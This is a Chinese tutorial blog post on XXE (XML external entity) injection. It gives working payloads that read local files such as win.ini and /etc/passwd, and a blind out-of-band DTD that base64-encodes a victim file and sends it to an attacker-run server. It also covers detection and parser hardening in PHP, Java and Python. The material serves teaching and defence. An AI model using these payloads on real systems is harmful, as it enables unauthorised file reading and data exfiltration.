xxe攻击(XML外部实体)

news2024/11/24 11:41:57

1.定义

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

http://www.w3school.com.cn/dtd/index.asp   了解地址 

2.原理    

XXE(XML外部实体注入) ,在应用程序解析XML输入时,当允许引用外部实体时,可构造恶意内容,导致读取任意文件、探测内网端口、攻击内网网站、发起DoS拒绝服务攻击、执行系统命令等。当运维人员使用了低版本php,libxml低于2.9.1或者程序员设置了libxml_disable_entity_loader(FALSE)就可以加载外部实体。     

http://10.0.0.139:92/phpinfo.php   ctrl +f    搜索输入内容

 默认为false

3.XXE攻击

  •  有回显

<?xml version = "1.0"?> <!DOCTYPE note [     
<!ENTITY hacker SYSTEM "file:///c:/windows/win.ini" > ]>
 <name>&hacker;</name>    

//定义DTD文件,格式为:root指定根节点名称,system声明要使用的外部DTD文件路径,如:<!ENTITY 实体名称 SYSTEM "URI/URL">

 win操作系统读出来就是有xxe漏洞   Linux 读/etc/passswd

  • 无回显

建立*.dtd(攻击者服务器)
 <!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:/1.txt">   //被攻击的文件
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://10.0.0.128:80/?p=%file;'>">  

//内部的%号要进行实体编码成&#37   

在被攻击机创建1.txt  攻击机使用apache


 apache的日志文件里面查看


解码base64

 xml调用
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://10.0.0.128:88/test.dtd">
%remote;%int;%send;
]> 

4.如何找xxe漏洞
 

  •  白盒测试

        查看代码里面是否使用了LoadXML( )函数

  •     黑盒测试

        抓包看响应体是否存在xml,accept头是否接受xml
        抓包修改数据类型,把json改成xml来传输数据,后面修改一句话
        http://web.jarvisoj.com:9882/   例子
         出来的样子

           json的数据提交

           改为xml,下面改为

 <?xml version = "1.0"?> <!DOCTYPE note [     
<!ENTITY hacker SYSTEM "file:///etc/passwd" > ]> <name>&hacker;</name>  
 打比赛的ctf地址

  •  特征

            看到url文件名是否 .ashx后缀扩展名
            响应体为xml                 

5.防范方法

1、升级php版本
2、程序员修改代码
 PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
3、过滤关键词
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1038044.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Spring学习笔记9 SpringIOC注解式开发

Spring学习笔记8 Bean的循环依赖问题_biubiubiu0706的博客-CSDN博客 注解的存在主要是为了简化XML的配置.Spring6倡导全注解式开发 回顾下 注解怎么定义,注解中的属性怎么定义 注解怎么使用 通过反射机制怎么读取注解 注解的自定义 注解的使用 通过反射机制怎么读取注解 I…

顺序表的实现和练习

杂谈&#xff1a; 有些数据结构&#xff08;C语言实现&#xff09;的教材/教程中会使用C中引用的语法&#xff0c;引用确实在形式上比指针简洁&#xff0c;这样做无非是为了避免后续对二级指针的使用。 我认为既然使用C语言实现数据结构&#xff0c;那么指针就不应该是门槛。…

【动手学深度学习-Pytorch版】序列到序列的学习(包含NLP常用的Mask技巧)

序言 这一节是对于“编码器-解码器”模型的实际应用&#xff0c;编码器和解码器架构可以使用长度可变的序列作为输入&#xff0c;并将其转换为固定形状的隐状态&#xff08;编码器实现&#xff09;。本小节将使用“fra-eng”数据集&#xff08;这也是《动手学习深度学习-Pytor…

[论文分享] How to Better Utilize Code Graphs in Semantic Code Search?

How to Better Utilize Code Graphs in Semantic Code Search? [ESEC/FSE 2022] 语义代码搜索极大地促进了软件的重用&#xff0c;使用户能够找到与用户指定的自然语言查询高度匹配的代码片段。由于代码图(如控制流图和程序依赖图)丰富的表达能力&#xff0c;两种主流的研究工…

【Gradle-9】Gradle插件发布指南

1、前言 不管是在公司内部&#xff0c;还是开源&#xff0c;Gradle插件发布都是一项必备的技能&#xff0c;本文主要介绍本地发布和远端发布两种方式。 2、本地发布 2.1、添加依赖 在plugin>build.gradle文件中&#xff08;插件的项目&#xff09;先依赖一个maven发布的…

分布式搜索引擎Elasticsearch

一、Elasticsearch介绍 1.Elasticsearch产生背景 大数据量的检索NoSql: not only sql,泛指非关系型的数据库Nginx的7层负载均衡和4层负载均衡2.Elasticsearch是什么 一个基于Lucene的分布式搜索和分析引擎,一个开源的高扩展的分布式全文检索引擎 Elasticsearch使用Java开发…

零基础也能制作小说推文视频,输入文案就能制作推文短视频

小说推文视频一直是各类写手们追捧的创作方式之一&#xff0c;而如何制作出优质、吸引人的小说推文视频成了许多人关注的焦点。幸运的是&#xff0c;现在有了一款名为推文视频制作神器&#xff0c;让制作小说推文视频变得轻松简单。 这款小说推文视频神器的功能十分强大&#…

山西电力市场日前价格预测【2023-09-25】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-09-25&#xff09;山西电力市场全天平均日前电价为442.30元/MWh。其中&#xff0c;最高日前电价为720.46元/MWh&#xff0c;预计出现在19: 00。最低日前电价为276.06元/MWh&#xff0c;预计…

AUTOSAR 多核操作系统时序监控系统设计

AUTOSAR 多核操作系统时序监控系统设计 0 引言1 AUTOSAR 介绍1.1 AUTOSAR 诞生1.3 AUTOSAR 架构 2 时序监控系统软硬件介绍2.1 硬件部分2.2 软件部分 3 时序监控系统设计3.1 监控系统整体设计3.2 监控数据获取3.3 监控数据存储3.4 监控数据处理 3.5 还原运行时序5 推动 5G工业互…

3D点云目标检测:Centerformer训练waymo数据集

一、环境准备 项目地址:centerformer 1.0、基础环境 python 3.8.0 torch 1.9.1cu111 waymo-open-dataset-tf-2-6-0 1.4.9 spconv 1.2.1 其余按照requirement.txt里安装就行 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple -r requirements.txt由于我本人是在…

uniapp、vue实现滑动拼图验证码

uniapp、vue实现滑动拼图验证码 实际开发工作中&#xff0c;在登陆的时候需要短信验证码&#xff0c;但容易引起爬虫行为&#xff0c;需要用到反爬虫验证码&#xff0c;今天介绍一下拼图验证码&#xff0c;解决验证码反爬虫中的滑动验证码反爬虫。滑动拼图验证码是在滑块验证码…

QLineEdit设置数据的输入范围QIntValidator和QDoubleValidator

在日常开发过程中QLineEdit作为输入框&#xff0c;有时要限制输入的内容&#xff0c;比哪&#xff0c;考试分数为0-100&#xff0c;这个时候就使用QIntValidator作为限制范围&#xff0c;而如何输入的是带小数的呢&#xff0c;那么使用QDoubleValidator可以吗&#xff0c;下面请…

ipad触控笔有必要买原装吗?ipad2023手写笔推荐

目前&#xff0c;在无纸教学、无纸办公的大背景下&#xff0c;电容笔得到了广泛的关注。只是&#xff0c;对于这两支电容笔的不同之处&#xff0c;不少人并不是很清楚。其实这两种电容笔都很好区分&#xff0c;第一种是主动电容笔&#xff0c;也就是我们常用的电容式屏幕&#…

安全生产一张图 安全生产三维地理信息平台

一、 建设目标 易图讯科技是一家专业从事大数据、移动互联网、物联网、三维GIS、AI系统研发&#xff0c;开发了三维电子沙盘、AI三维电子沙盘、WEB三维地球、移动端三维地球、数字武装三维电子沙盘、智慧动员三维电子沙盘、智慧公安三维电子沙盘、智慧安监三维电子沙盘、森林防…

vue重修003

文章目录 版权声明day03一、今日目标1.生命周期2.综合案例-小黑记账清单3.工程化开发入门4.综合案例-小兔仙首页 二、Vue生命周期三、Vue生命周期钩子四、生命周期钩子小案例1.在created中发送数据2.在mounted中获取焦点 五、案例-小黑记账清单1.需求图示&#xff1a;2.需求分析…

Maven项目在pom.xml里配置远程仓库

如图:作用 在项目的 pom.xml 文件中配置了 <repositories> 元素&#xff0c;Maven会优先使用项目级别的仓库配置&#xff0c;而不会查找全局设置文件中的仓库配置。换句话说&#xff0c;项目级别的配置会覆盖全局设置文件中的仓库配置。 这意味着当在项目的 pom.xml 文…

AUTOSAR 面试知识回顾

如果答不上来&#xff0c;就讲当时做了什么 1. Ethernet基础: 硬件接口&#xff1a; ECU到PHY&#xff1a; data 是MII总线&#xff0c; 寄存器控制是SMI总线【MDCMDIO两根线, half duplex】PHY输出(100BASE-T1)&#xff1a; MDI总线&#xff0c;2 wire 【T1: twisted 1 pair …

C++项目:仿muduo库实现高性能高并发服务器

文章目录 一、实现目标二、前置知识&#xff08;一&#xff09;HTTP服务器1.概念 &#xff08;二&#xff09;Reactor模型&#xff1a;1.概念2.分类&#xff08;1&#xff09;单Reactor单线程&#xff1a;单I/O多路复用业务处理。&#xff08;2&#xff09;单Reactor多线程&…

腾讯mini项目-【指标监控服务重构-会议记录】2023-07-26

2023-07-26组长会议纪要 A组 项目对齐和问题 分配需求&#xff0c;SLI指标上报&#xff0c;暂时没有实际效果 每个人负责一条指标&#xff0c;同步代码&#xff0c;时间问题还是难题跟B组同学请教&#xff0c;答疑 问题&#xff1a;启动 Tracer 【已解决】 环境问题&#xf…

21.redo日志(下)

title: “redo日志&#xff08;下&#xff09;” createTime: 2022-03-06T15:52:4108:00 updateTime: 2022-03-06T15:52:4108:00 draft: false author: “ggball” tags: [“mysql”] categories: [“db”] description: “” redo log的刷盘时机 log buffer 空间不足时&…